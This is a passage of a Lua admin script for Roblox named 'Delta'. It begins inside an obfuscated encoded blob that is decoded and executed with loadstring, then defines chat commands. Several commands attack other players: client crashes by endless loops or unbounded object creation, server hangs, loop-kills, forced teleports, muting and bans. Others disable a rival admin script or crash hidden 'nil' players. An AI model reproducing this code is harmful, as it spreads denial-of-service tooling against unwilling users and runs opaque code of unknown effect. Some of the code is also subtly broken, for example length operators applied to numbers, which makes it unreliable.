,"~$#+-+!?^+_+$&%#%$!+)+~_*~__&_&~!$*$($-#!#!$)_=~##^#^##-@*=*^*)*?&*#!?)#*?~_@~(#%?=?&?~&_???^?~?+~@?=?~**&!__~?~)-~*&~)~^?^*!*-*=*!*)*)*%*#()*-(&(#!$!&-+&#&&!%((!*!!--&%_!_=!~!$@$!!!!%%%=%^%&(+_*_#-+-)!@*!-^_@_(-+*)-#-*@?!?!?*-**-#*(-?@=!@*%**!^-^*-*=%?!?!~(_*~(&(=*&@**&(?=+^+=(=()@)%)=)~%)*-($!)(^=@@=!$!&!%!^!*@~%(!&@^(?@-!%^=%@@+@(@#%?!=*)%$%&@(@&+(^-+?))$$###?#^=(@@@+%%@^@@+~^(%&=^@?=-%^+@$&$~^)%!%+#(=$^=%)=&#-=$=?^-=*=#^*^*^+^)#=+*=+^!^*^&?&$?)@^+)%^!?&?$?^?*?^+%)$+-)*)%^_~?!$(?+&+?~#~#_~_&___$#%)^)?+))$+^~-#%+*$$+_$!+$&^&*&=#+#(+?_$#?$$#!$($?$&#~_^&)&@~_$^$*#_#&_#&+?##(_!_#-!--#=#=-%#!???#?%#^?~*#_=#&?)?=?(*~*+*=*-*=&@~+&_~-~@?&(~~#&~&#($($@?@~@&@+-@~=~#&^~+&=(_-@&-_+&&_(&+!=!-!_-$_%&+_?@#_~-*_%_*@+--_@@^_^_-_)@@!!@_@?%=@?($*_*%-=-$-@%!-**!**%-%-^(^!^)*-*#(=^)^~(%*-(?=?)?!$(?!$(-)@@+(#!-(+!%%?@$(~!&!=(%@^(@(_!%(*!?!?!&!%^+%#=^!@!-^%^=!-@_!_))^?!=*%^_)?)*)?!$(*)?!=*%)()$+))%+@+)=!@%@)+_+?$#$~^$%_=~=-$^+@$@+~$~?!=#=?!==*?++&=*=(=_^!="
,"?!)%=%(%##(#=)-=(^?!==^=*^^^^^#?(#_?%=_?!^~^_)!^@^?!$(@)@))??!)%=%(%-?~~&?!?-~_~!$~)_+!)@)&+@+@+^)#&+?@)?+=+@+*&*?_$^+?$)+%&?&+_?$($-$*&&_+##$!$_#_$##=$)$__%?+#%#$?*#)#?#!_--@~_#??#-#(~()~(#@?)#+?!?+~+~^-~&*?~~(~+~-~@?&*&!@~?~^~!*==_=&%*(%*!*=(-===$===?=((!*$(%(@*_(+($(-=%(_=_(#%_(~=^%~%=*!(@*!*=*$()=%*@*=*_($(*($=%(-(^(=*-=-=%(&%=(_*@*!(-=_=~=_(_=!==%!%(%_=!($(@(_=_=_=?=&*~!^%#!_=-=_="
}),"(%u)(.)",function(r,c)return c:rep(r:byte()-62)end),"(.)(.)",function(lo,hi)return string.char(z[lo]+z[hi]*16)end)))),getfenv())()
]]
-- Rotation! --
TabletRotation = 0
UpdateTablets = function()
	if Delta.Removed == true then return end
	TabletRotation = TabletRotation==360 and 0 or TabletRotation + 0.0001
	for _, Player in pairs(getALLPlayers()) do
		local PlrTabs = {}
		for i,v in pairs(Delta.Tablets) do
			if v.Tab.Parent ~= nil and v.Plr == Player.Name then
				table.insert(PlrTabs, v)
			end
		end
		for i,v in pairs(PlrTabs) do
			pcall(function()
				local radiusdata = Delta.Ranked[Player.Name].Distance ~= nil and Delta.Ranked[Player.Name].Distance or 5
				local pos = nil
				pcall(function()
					if Player.Character.Parent == Delta.Services.Workspace then
						pos = Player.Character.Torso.CFrame
					end
				end)
				if pos == nil then return end
				local radius = radiusdata + (#PlrTabs * 0.5)
				local x,y,z
				if Delta.Ranked[Player.Name].Rotation == false then
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
					y = 0
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) * 2) * math.pi * 2) * radius
				else
					x = math.sin((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
					y = 0
					z = math.cos((i / #PlrTabs - (0.5 / #PlrTabs) + TabletRotation * 2) * math.pi * 2) * radius
				end
				local arot = Vector3.new(x,y,z)+pos.p
				local brot = v.Tab.CFrame.p
				local crot = (arot * .1 + brot * .9)
				local drot = math.rad((TabletRotation * 1000) * math.pi)
				v.Tab.CFrame = CFrame.new(crot, pos.p)
				-- v.Tab.Size = Vector3.new(math.cos(time())*9,math.cos(time())*9,math.cos(time())*9)
				if Delta.Ranked[Player.Name].SpinningRot == true then
					v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(drot, drot, drot)
				else
					if Delta.Ranked[Player.Name].MeshType ~= "Books" then
						v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.rad(15),0,0)
					else
						v.Tab.CFrame = v.Tab.CFrame * CFrame.Angles(math.pi/2,0,0)
					end
				end
			end)
		end
	end
end

Delta.Services.ReplicatedStorage.DescendantAdded:connect(function(x)
	if x.Name == "Delta" and x:IsA('StringValue') then
		local val = x.Value
		local Split = val:find(':')
		local Name = val:sub(1, #Split - 1)
		local Message = val:sub(#Split + 1)
		local Player = nil
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
			if v.Name == Name then return end
		end
		for _,v in pairs(getALLPlayers()) do
			if v.Name == Name then
				Player = v
			end
		end
		onChatted(Player, Message)
	end
end)

RunServiceFunction = function()
	pcall(function() Delta.Connections.Loops:disconnect() end)
	Delta.Connections.Loops["Update_Tablets"] = Delta.Services.RunService.Stepped:connect(function()
		UpdateTablets()
	end)
	Delta.Connections.Loops["Etc"] = Delta.Services.RunService.Stepped:connect(function()
		if Delta.PrivateServer.Enabled == false then
			Delta.PrivateServer.Waiting = {}
		end
		for _,v in pairs(Delta.Services.Players:GetPlayers()) do
			local rankedData = Delta.Ranked[v.Name]
			if v:findFirstChild('PlayerGui') == nil then return end
			if rankedData.CMD == true then
				if v.PlayerGui:findFirstChild("Delta Command Bar") == nil then
					giveCMDBar(v)
				end
			end
			if rankedData.CMD == false then
				if v.PlayerGui:findFirstChild("Delta Command Bar") then
					v.PlayerGui:findFirstChild("Delta Command Bar"):Destroy()
				end
			end
		end
	end)
end

RunServiceFunction()
-- Commands! --
Command("Force a Command", {"@"}, 0, "Makes Another Player onChatted", nil, function(Speaker,Msg)
	local Split = Msg:find(Delta.Bet)
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
	local Message = Msg:sub(Split + 1)
	if #Player > 0 then
		for _,v in pairs(Player) do
			if FindRank(Speaker) > FindRank(v) then
				onChatted(v, Message)
			end
		end
	end
end)
Command("Dismiss Tablets", {"dt", "dismiss", "hide"}, 0, "Dismisses Tablets", "-p (Player/Rank 4)", function(Speaker, Msg)
	if GetSplit(Msg) == "p" then
		if FindRank(Speaker) >= 4 then
			Msg = Msg:gsub("-p", "")
			local Players = getPlayer(Speaker, Msg)
			if #Players > 0 then
				for _,v in pairs(Players) do
					ypcall(function()
						Dismiss(v)
					end)
				end
			end
		else
			Output(Speaker, "Your rank is too low to use that flag!", "Really red", nil, 2)
		end
	else
		Dismiss(Speaker)
	end
end)
Command("Commands", {"cmds", "commands"}, 0, "Shows Commands", "No Flags", function(Speaker, Msg)
	ShowCommands(Speaker)
end)
Command("Insert", {"get", "g"}, 0, "Gets Things", "-b (Base) -c (Clean) -r (Reset) -rl (Reset Lighting) -rj (Rejoin) -fc (Fix Character) -ball (qlqkqzqrd's Ball) -cmd (Command Bar) -nocmd (No Command Bar)", function(Speaker, Msg)
	if GetSplit(Msg) == "r" then
		Speaker:LoadCharacter()
	elseif GetSplit(Msg) == "fc" then
		Speaker.CharacterAppearance = "http://www.roblox.com/Asset/CharacterFetch.ashx?userId="..Speaker.userId
		Speaker:LoadCharacter()
	elseif GetSplit(Msg) == "c" then
		CleanWorkspace()
	elseif GetSplit(Msg) == "b" then
		CreateBase()
	elseif GetSplit(Msg) == "rl" then
		Debug()
	elseif GetSplit(Msg) == "rj" then
		Delta.Services.TeleportService:Teleport(Delta.Services.Game.PlaceId, Speaker)
	elseif GetSplit(Msg) == "cmd" then
		giveCMDBar(Speaker)
	elseif GetSplit(Msg) == "nocmd" then
		ypcall(function()
			Delta.Ranked[Speaker.Name].CMD = false
		end)
	elseif GetSplit(Msg) == "ball" then
		createLocalScript([[
			wait(0.001);
			_ray=function(v0,v1,i)
				local mag=(v0-v1).magnitude;
				local ray=Ray.new(v0,(v1-v0).unit*(mag>999 and 999 or mag));
				return(type(i)=='table'and workspace.FindPartOnRayWithIgnoreList or workspace.FindPartOnRay)(workspace,ray,i);
			end;
			user=game:service'Players'.LocalPlayer;
			backpack=user.Backpack;
			mouse=user:GetMouse();
			char=user.Character;
			torso=char.Torso;
			head=char.Head;
			hum=char:findFirstChild'Humanoid';
			if(not hum or hum.className~='Humanoid')then
				hum=char:children();
				for i=1,#hum do
					if(hum[i].className=='Humanoid')then
						hum=hum[i];
						break;
					end;
				end;
			end;
			repeat until not pcall(function()
				char.ala_ball:Destroy();
				hum.PlatformStand=false;
			end);
			repeat until not pcall(function()
				backpack.ala_ball:Destroy();
				hum.PlatformStand=false;
			end);
			keys={};
			bin=Instance.new('HopperBin',backpack);
				bin.Name='ala_ball';
				script.Parent=bin;
				bin.Selected:connect(function()
					ball=Instance.new'Part';
						ball.Shape=0;
						ball.Friction=10;
						ball.Elasticity=0;
						ball.TopSurface=0;
						ball.formFactor=0;
						ball.BottomSurface=0;
						ball.Transparency=0.5;
						ball.CanCollide=false;
						ball.Color=BrickColor.new(']]..Delta.Ranked[Speaker.Name].Color..[[').Color;
						ball.CFrame=head.CFrame;
						ball.Name='ala_ball';
						ball.Size=Vector3.new(10,10,10);
						ball.Parent=char;
					weld=Instance.new('Weld',ball);
						weld.Part0=ball;
						weld.Part1=head;
					wait(0.001);
					hum.PlatformStand=true;
					ball.CanCollide=true;
				end);
				bin.Deselected:connect(function()
					ball:Destroy();
					ball=nil;
					hum.PlatformStand=false;
				end);
			mouse.KeyDown:connect(function(key)
				keys[key]=true;
			end);
			mouse.KeyUp:connect(function(key)
				keys[key]=false;
			end);
			hum.Changed:connect(function(p)
				if(p=='PlatformStand'and ball)then
					hum.PlatformStand=true;
				end;
			end);
			hum.Died:connect(function()
				ball:Destroy();
				ball=nil;
				bin:Destroy();
			end);
			local jump_time=time();
			game:service'RunService'.Stepped:connect(function()
				if(ball and ball.Parent)then
					if(keys[' ']and jump_time<=time())then
						local hit,pos=_ray(ball.Position-Vector3.new(0,3,0),ball.Position-Vector3.new(0,6,0),char);
						if(hit and hit.CanCollide)then
							jump_time=time()+1;
							ball.Velocity=ball.Velocity+Vector3.new(0,100,0);
						end;
					end;
					if(keys.w or keys.s or keys.a or keys.d and ball.Velocity.magnitude<30)then
						local v=((CFrame.Angles(0,math.rad(90),0)*workspace.CurrentCamera.CoordinateFrame).lookVector*Vector3.new(1,0,1)).unit;
						local speed=ball.Velocity.magnitude;
							speed=speed>30 and 30 or speed;
							v=v+v*speed;
						if(keys.s)then
							v=v*-1;
						end;
						if(keys.d)then
							v=v+workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
						end;
						if(keys.a)then
							v=v-workspace.CurrentCamera.CoordinateFrame.lookVector*speed;
						end;
						ball.RotVelocity=v;
					end;
				end;
			end);
		]], Speaker.Character)
	end
end)
Command("Fix", {"fix"}, 0, "Fixes Things", "-t (Tablets)", function(Speaker, Msg)
	if GetSplit(Msg) == "t" then
		Msg = Msg:gsub("-t", "")
		RunServiceFunction()
	end
end)
Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 0, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
	local Split = Msg:find(Delta.Bet)
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
	local Rank = tonumber(Msg:sub(Split + 1))
	if #Player > 0 then
		for _,v in pairs(Player) do
			if Rank == nil then Output(Speaker, "That rank is invalid", "Really red", nil, 3) return end
			if Rank < 0 and FindRank(Speaker) < 2 then Output(Speaker, "You cannot set a rank that low.", "Really red", nil, 3) return end
			if FindRank(v) > FindRank(Speaker) then Output(Speaker, "You cannot set a person's rank that is higher than you!", "Really red", nil, 3) return end
			if Rank < FindRank(Speaker) then
				ChangeRank(v, Rank)
				Output(Speaker, "Changed "..v.Name.."'s Rank to "..Rank, "Lime green", nil, 3)
				Output(v, "Your rank has been changed to "..Rank.."!", "Lime green", nil, 3)
			else
				Output(Speaker, "You cannot set a rank higher than you!", "Really red", nil, 3)
			end
		end
	end
end)
Command("Get Ranked", {"getranked", "ranked"}, 0, "Opens Ranked Interface", nil, function(Speaker, Msg)
	Dismiss(Speaker)
	if #Msg == 0 then
		GetRankedInterface(Speaker)
	else
		Msg = Msg:lower()
		local Number = 0
		local Table = {}
		for i,v in pairs(Delta.Ranked) do
			if i:lower():find(Msg) then
				ypcall(function()
					table.insert(Table, i)
					Number = Number + 1
				end)
			end
		end
		if Number > 1 then
			for _,v in pairs(Table) do
				Output(Speaker, v, nil, function()
					GetRankedInterface(Speaker, v)
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v)
			end
		else
			for _,v in pairs(Table) do
				GetRankedInterface(Speaker, v)
			end
		end
	end
end)
Command("Camera Options", {"camera", "cam"}, 0, "Edits Your Camera", "-r (Remove) -c (Clear) -f (Fix) -fp (First Person)", function(Speaker, Msg)
	local x = [[local cam = workspace.CurrentCamera ]]
	if GetSplit(Msg) == "r" then
		x = x.."cam:remove()"
	elseif GetSplit(Msg) == "c" then
		x = x.."cam:ClearAllChildren()"
	elseif GetSplit(Msg) == "f" then
		x = x.."cam.CameraSubject = game:GetService(\"Players\").LocalPlayer.Character.Humanoid cam:SetRoll(0) game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.Classic"
	elseif GetSplit(Msg) == "fp" then
		x = x.."game:GetService(\"Players\").LocalPlayer.CameraMode = Enum.CameraMode.LockFirstPerson"
	end
	createLocalScript(x, Speaker.Character)
end)
Command("Ping", {"ping", "p"}, 0, "Pings A Message", "-a (AFK) -bl (Banlist) -r (Ranked) -s (Spam)", function(Speaker, Msg)
	if GetSplit(Msg) == "a" then
		Dismiss(Speaker)
		Msg = Msg:gsub("-a", "")
		for i = 1, 6 do
			Output(Speaker, "AFK")
		end
		Output(Speaker, "Dismiss")
	elseif GetSplit(Msg) == "bl" then
		Dismiss(Speaker)
		Msg = Msg:gsub("-bl", "")
		Output(Speaker, "Banned People:", "Really black")
		for i,v in pairs(Delta.Ranked) do
			if v.Rank < 0 then
				Output(Speaker, i, "Really black")
			end
		end
	elseif GetSplit(Msg) == "s" then
		Msg = Msg:gsub("-s", "")
		local Split = Msg:find(Delta.Bet)
		local Message = Msg:sub(1, Split - 1)
		local Amount = Msg:sub(Split + 1)
		for i = 1, Amount do
			Output(Speaker, Message, "Random")
		end
	else
		if #Msg == 0 then Msg = "Pong!" end
		Msg = string.gsub(Msg, "", "\5")
		Output(Speaker, Msg, "Random")
	end
end)
-- Rank 1! --
Command("Disable CBA", {"remcba", "uncba", "rcba", "baicba"}, 1, "Removes CBA Admin", nil, function(Speaker, Msg)
	local RemoveCBA = Instance.new("StringValue", Delta.Services.Workspace)
	RemoveCBA.Name = "CBA Attachment"
	RemoveCBA.Value = 'CBA.remove = false;'
end)
Command("Insert Asset", {"ins", "insert"}, 1, "Inserts A Tool/HopperBin or Hat", nil, function(Speaker, Msg)
	if Msg == "qlq" then
		for _,v in pairs({"127506105","101734094","73232786","95951330"}) do
			Delta.Commands["Insert Asset"].Function(Speaker, v)
		end
	else
		local Item = Delta.Services.InsertService:LoadAsset(tonumber(Msg))
		if Item then
			local Object = Item:GetChildren()[1]
			if Object.className == "Hat" then
				Object.Parent = Speaker.Character
			elseif Object.className == "Tool" or Object.className == "HopperBin" then
				Object.Parent = Speaker.Backpack
			end
		end
	end
end)
Command("Nil Support", {"nils", "nilsupport", "connects", "nsupport"}, 1, "Gives Speaker Nil Support", nil, function(Speaker, Msg)
	createLocalScript(NilSupport, Speaker.Character)
end)
Command("Pause Server", {"hang"}, 1, "Hangs A Player/Server", "-s (Server)", function(Speaker, Msg)
	if GetSplit(Msg) == "s" then
		Msg = Msg:gsub("-s", "")
		createScript([[
			local tic = tick()
			repeat until tic + ]]..Msg..[[ < tick()
		]], Delta.Services.Workspace)
	else
		local Split = Msg:find(Delta.Bet)
		local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
		local Time = Msg:sub(Split + 1)
		if #Player > 0 then
			for _,v in pairs(Player) do
				ypcall(function()
					createLocalScript([[
						script.Parent = nil
						local tic = tick()
						repeat until tic + ]]..Time..[[ < tick()
					]], Player.Character)
				end)
			end
		end
	end
end)
Command("Sparkles", {"sparkles"}, 1, "Gives a player sparkles!", function(Msg, Speaker)
	local PlrTab = getPlayer(Speaker, Msg)
	if #PlrTab > 0 then
		for _,v in pairs(PlrTab) do
			ypcall(function()
				Instance.new("Sparkles", v.Character.Torso)
			end)
		end
	end
end)
Command("Fire", {"fire"}, 1, "Gives a player fire!", function(Msg, Speaker)
	local PlrTab = getPlayer(Speaker, Msg)
	if #PlrTab > 0 then
		for _,v in pairs(PlrTab) do
			ypcall(function()
				Instance.new("Fire", v.Character.Torso)
			end)
		end
	end
end)
Command("Smoke", {"smoke"}, 1, "Smokes a players!", function(Msg, Speaker)
	local PlrTab = getPlayer(Speaker, Msg)
	if #PlrTab > 0 then
		for _,v in pairs(PlrTab) do
			ypcall(function()
				Instance.new("Smoke", v.Character.Torso)
			end)
		end
	end
end)
Command("Clone", {"clone"}, 1, "Clones A Player!", function(Msg, Speaker)
	local PlrTab = getPlayer(Speaker, Msg)
	if #PlrTab > 0 then
		for _,v in pairs(PlrTab) do
			ypcall(function()
				local Model = v.Character:Clone()
				Model.Parent = game.Workspace
			end)
		end
	end
end)
Command("Kill", {"kill"}, 1, "Kills A Player", "-r (Respawn) -e (Explode) -w (WalkSpeed)",function(Speaker, Msg)
	if GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v:LoadCharacter()
				end)
			end
		end
	elseif GetSplit(Msg) == "e" then
		Msg = Msg:gsub("-e", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					local e = Instance.new'Explosion'
					e.Parent = Delta.Services.Workspace
					e.BlastRadius = 10
					e.BlastPressure = 10000
					e.Position = v.Character.Torso.Position
				end)
			end
		end
	elseif GetSplit(Msg) == "l" then
		Msg = Msg:gsub("-l", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					if Delta.Connections.Killing[v.Name] then
						return Output(Speaker, "You can only loopkill someone one at a time!", "Really red", nil, 3)
					end
					Delta.Connections.Killing[v.Name] = v.CharacterAdded:connect(function(Character)
						v.Character:BreakJoints()
					end)
					v.Character:BreakJoints()
				end)
			end
		end
	elseif GetSplit(Msg) == "ul" then
		Msg = Msg:gsub("-ul", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					if Delta.Connections.Killing[v.Name] then
						Delta.Connections.Killing[v.Name]:disconnect()
						Delta.Connections.Killing[v.Name] = nil
					end
				end)
			end
		end
	elseif GetSplit(Msg) == "w" then
		Msg = Msg:gsub("-w", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Character.Humanoid.WalkSpeed = "99e999"
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Character:BreakJoints()
				end)
			end
		end
	end
end)
Command("Forcefield", {"ff", "forcefield"}, 1, "Forcefields A Player", "-u (UnFF)", function(Speaker, Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _, v2 in pairs(v.Character:GetChildren()) do
						if v2:IsA("ForceField") then
							v2:remove()
						end
					end
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Instance.new("ForceField", v.Character)
				end)
			end
		end
	end
end)
Command("Godmode", {"god", "godmode"}, 1, "Gives A Player Godmode", "-u (UnGod)", function(Speaker, Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for __,vv in pairs(v.Character:GetChildren()) do
						if vv:IsA('Humanoid') then
							vv.Name = 'lal_its_a_humanoid'
							vv.MaxHealth = 100
							vv.Health = 100
						end
					end
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for __,vv in pairs(v.Character:GetChildren()) do
						if vv:IsA('Humanoid') then
							vv.Name = 'lal_its_a_humanoid'
							vv.MaxHealth = math.huge
						end
					end
				end)
			end
		end
	end
end)
Command("Freeze", {"freeze"}, 1, "Freezes A Player", "-u (UnFreeze/Thaw)", function(Speaker, Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,v in pairs(v.Character:GetChildren()) do
						if v:IsA("Part") then
							v.Anchored = false
						end
					end
					pcall(function() v.Character.FrozenBlock:remove() end)
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					pcall(function() v.Character.FrozenBlock:remove() end)
					for _,v in pairs(v.Character:GetChildren()) do
						if v:IsA("Part") then
							v.Anchored = true
						end
					end
					local b = Instance.new("Part", v.Character)
					b.Anchored = true
					b.Locked = true
					b.TopSurface, b.BottomSurface = 0,0
					b.Color = BrickColor.new("Light blue").Color
					b.Size = Vector3.new(5,10,5)
					b.Transparency = 0.5
					b.Name = "FrozenBlock"
					b.CFrame = v.Character.Torso.CFrame
					local Weld = Instance.new("Weld", b)
					Weld.Name = "FrozenWeld"
					Weld.Part0 = v.Character.Torso
					Weld.Part1 = b
				end)
			end
		end
	end
end)
Command("Change Walkspeed", {"ws", "speed", "walkspeed"}, 1, "Changes Your Walkspeed", "No Flags", function(Speaker, Msg)
	local Split = Msg:find(Delta.Bet)
	local Player = getPlayer(Speaker, Msg:sub(1, Split - 1))
	local Speed = tonumber(Msg:sub(Split + 1))
	for _,v in pairs(Player) do
		ypcall(function()
			v.Character.Humanoid.WalkSpeed = Speed
		end)
	end
end)
Command("Invisible", {"invis", "invisible"}, 1, "Makes A Player Invisible", "-u (Visible)", function(Speaker, Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u", "")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,c in pairs(v.Character:GetChildren()) do
						if c.ClassName == "Part" then
							c.Transparency = 0
						end
						if c:findFirstChild("face") then
							c.face.Transparency = 0
						end
						if c:findFirstChild("Handle") then
							c.Handle.Transparency = 0
						end
					end
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					for _,c in pairs(v.Character:GetChildren()) do
						if c.ClassName == "Part" then
							c.Transparency = 1
						end
						if c:findFirstChild("face") then
							c.face.Transparency = 1
						end
						if c:findFirstChild("Handle") then
							c.Handle.Transparency = 1
						end
					end
				end)
			end
		end
	end
end)
Command("Explorer", {"explore", "explorer"}, 1, "Explores the Game", "No Flags", function(Speaker, Msg)
	Explorer(Speaker)
end)
Command("Players", {"players", "plrs"}, 1, "Shows Players And Options", "-n (Nil Players)", function(Speaker, Msg)
	if GetSplit(Msg) == "n" then
		Dismiss(Speaker)
		local Number_Of_Nils = 0
		for _,v in pairs(getALLPlayers()) do
			if v.Parent ~= Delta.Services.Players then
				Number_Of_Nils = Number_Of_Nils + 1
				Output(Speaker, "Crash "..v.Name.."?", nil, function()
					Dismiss(Speaker)
					local x = Instance.new("StringValue", Delta.Services.Lighting)
					x.Name = "Disconnect: "..v.Name
					coroutine.resume(coroutine.create(function()
						wait(0.5)
						if x.Name == "Disconnected: "..v.Name then
							Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
						else
							Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
						end
					end))
				end)
			end
		end
		if Number_Of_Nils == 0 then
			return Output(Speaker, "There are no nil players!", "Lime green", nil, 3)
		end
		Output(Speaker, "There are "..Number_Of_Nils.." nil players!", "Lime green")
		Output(Speaker, "Shutdown Nils?", "New Yeller", function()
			for _,v in pairs(getALLPlayers()) do
				if v.Parent ~= Delta.Services.Players then
					local x = Instance.new("Model", Delta.Services.Workspace)
					local y = Instance.new("Part", x)
					y.Transparency = 1
					y.CanCollide = false
					y.Anchored = true
					y.Name = "Torso"
					y.Position = Vector3.new(10000,10000,10000)
					local z = Instance.new("Humanoid",x)
					z.Torso = y
					v.Character = x
					createLocalScript([[repeat until false]], v.Character)
				end
			end
		end)
		Output(Speaker, "Dismiss")
	else
		ShowPlayers(Speaker)
	end
end)
-- Rank 2! --
Command("Jail", {"jail"}, 2, "Jails A Player", "-u (UnJail)", function(Speaker,Msg)
	if GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = getPlayer(Speaker, Msg)
		for _,v in pairs(Players) do
			ypcall(function()
				local x = Instance.new('StringValue',v)
				x.Name = 'Delta'
				x.Value = 'Disable Jail'
				Delta.Services.Debris:AddItem(x,2)
			end)
		end
	else
		local Players = getPlayer(Speaker, Msg)
		for _,v in pairs(Players) do
			ypcall(function()
				createLocalScript(JailInjection, v.Character)
			end)
		end
	end
end)
Command("Kick", {"kick", "leave", "bai", "kk", "dc"}, 2, "Kicks A Player", "-b (Banish) -c (Crash) -n (Nil) -r (Rejoin) -cl (Crash Lag)",function(Speaker, Msg)
	if GetSplit(Msg) == "b" then
		if FindRank(Speaker) < 3 then
			return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
		end
		Msg = Msg:gsub("-b","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					ChangeRank(v, -1)
					pcall(function() v.Character.Humanoid.Walkspeed = 99e9999 end)
					wait(.3)
					v:Kick()
				end)
			end
		end
	elseif GetSplit(Msg) == "r" then
		Msg = Msg:gsub("-r","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					Delta.Services.TeleportService:Teleport(game.PlaceId, v)
				end)
			end
		end
	elseif GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					createLocalScript([[for i=1, 1/0 do Instance.new("ManualSurfaceJointInstance") end]], v:waitForChild("Backpack"))
				end)
			end
		end
	elseif GetSplit(Msg) == "n" then
		Msg = Msg:gsub("-n","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Parent = nil
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v:Kick()
				end)
			end
		end
	end
end)
Command("Teleport", {"teleport", "tele", "tp"}, 2, "Teleports A Player To Another Player", function(Speaker,Msg)
	if GetSplit(Msg) == "p" then
		Msg = Msg:gsub("-p", "")
		local Split = Msg:find(Delta.Bet)
		local Player = getPlayer(Speaker,Msg:sub(1, Split - 1))
		local Numbers = Msg:sub(Split + 1)
		if Numbers == "oxsb" then
			Numbers = "20279777"
		elseif Numbers == "qlqsb" then
			Numbers = "54194680"
		elseif Numbers == "anasb" then
			Numbers = "14578699"
		end
		if #Player > 0 then
			for _,v in pairs(Player) do
				ypcall(function()
					createLocalScript([[game:GetService("TeleportService"):Teleport(']]..Numbers..[[')]], v:waitForChild("Backpack"))
				end)
			end
		end
	else
		local Split = Msg:find(Delta.Bet)
		local Player1 = getPlayer(Speaker,Msg:sub(1, Split - 1))
		local Player2 = getPlayer(Speaker,Msg:sub(Split + 1))
		if #Player1 > 0 or #Player2 > 0 then
			for _,v in pairs(Player1) do
				for _,v2 in pairs(Player2) do
					ypcall(function()
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
					end)
				end
			end
		end
	end
end)
Command("Mute", {"mute"}, 2, "Mutes A Player", "-b (Banish) -u (UnMute)", function(Speaker, Msg)
	if GetSplit(Msg) == "b" then
		if FindRank(Speaker) < 3 then
			return Output(Speaker, "Your not high enough rank to use this flag!", "Really red")
		end
		Msg = Msg:gsub("-b","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					ChangeRank(v, -1)
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
				end)
			end
		end
	elseif GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u","")
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, true)]], v:waitForChild("Backpack"))
				end)
			end
		end
	else
		local Players = getPlayer(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					createLocalScript([[game:GetService("StarterGui"):SetCoreGuiEnabled(4, false)]], v:waitForChild("Backpack"))
				end)
			end
		end
	end
